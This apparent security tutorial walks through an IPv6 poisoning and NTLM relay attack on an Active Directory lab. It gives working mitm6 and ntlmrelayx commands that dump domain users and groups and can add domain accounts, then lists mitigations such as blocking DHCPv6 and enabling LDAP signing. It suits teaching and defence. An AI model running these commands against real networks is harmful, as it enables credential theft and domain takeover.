An IPv6 attack on Active Directory exploits the fact that, in most Windows environments, IPv6 is enabled by default even when the network primarily uses IPv4. Since many organizations do not configure or monitor IPv6, this creates a blind spot.
- Attacker connects a rogue IPv6 router and sends Router Advertisements (RA).
- Windows hosts auto-configure via SLAAC and trust the new default gateway.
- Host learns DNS via RDNSS in RA and/or DHCPv6 (rogue DNS accepted).
- Traffic now routes through the attacker-controlled gateway.
- Attacker performs MITM (traffic redirection, DNS poisoning).
- Outcomes: credential theft, session hijack, data interception especially easy where IPv6 is unmanaged/unmonitored.
Work Flow of IPv6 Attack
In this attack, we will use the mitm6 tool to perform a MITM attack, and similar to our previous SMB attack, we will use the ntlmrelayx tool. Below is the workflow of our attack:
- mitm6 sets up a rogue IPv6 DNS/DHCP server, which Windows clients trust by default.
- Clients send authentication requests (NTLM) to attacker-controlled hostnames.
- ntlmrelayx.py intercepts these NTLM requests.
- The tool relays them to legitimate AD services (e.g., LDAP, SMB).
- If successful, the attacker gains AD access or escalates privileges.
Hands-On IPv6 Attack
Open the Kali terminal and install the mitm6 tool using these commands :
sudo apt update
sudo apt install pipx python3-venv -y
pipx ensurepath
# Install mitm6 directly from GitHub
pipx install git+https://github.com/dirkjanm/mitm6.git
# After installation run it
mitm6 -h- Now, to start the attack we will send a spoofed reply using mitm6:
sudo mitm6 -d GFG.local - On the other side of the terminal, enter this command to attack the IPv6 connections:
ntmlrelayx.py -6 -t ldap://10.0.2.15 -wh fwpad.gfg.local -l lootme
- This will take a while, to faster the process try to restart the Windows 10 machine
- After the successfull attempt and connection, you will see a lootme folder in you attackers machine which will have lots of data dump in various formats.

- Let's open domain_users_by_groups.html in the firefox

- You can view all the details about the Administrators, Domain Guests, Domain Admins, etc. You can also see SQL Service in Enterprise Admins with its Description.
- Similarly, you can use ntlmrelayx.py to add users to the domain controller. If a user logs in with an administrative account, the script will create another account in the domain controller.
Mitigating IPv6 Attacks in Active Directory
- Control IPv6 Traffic
- IPv6 poisoning attacks often exploit how Windows queries IPv6 even on IPv4-only networks.
- If IPv6 is not required internally, block unnecessary IPv6 services like DHCPv6 and router advertisements using Group Policy or firewall rules.
- Instead of fully disabling IPv6 (which may break some services), configure firewall rules to block inbound and outbound DHCPv6 and router advertisement traffic.
- Disable WPAD if Unused
- If Web Proxy Auto-Discovery Protocol (WPAD) is not needed, turn it off via Group Policy and stop the WinHttpAutoProxy service to reduce attack surface.
- Secure LDAP Communications
- Protect against relaying attacks by enforcing LDAP signing and enabling LDAP channel binding, ensuring secure authentication.
- Harden Administrative Accounts
- Place privileged accounts in the Protected Users group or mark them as âsensitive and cannot be delegated.â
- This prevents attackers from impersonating administrative users via delegation techniques.

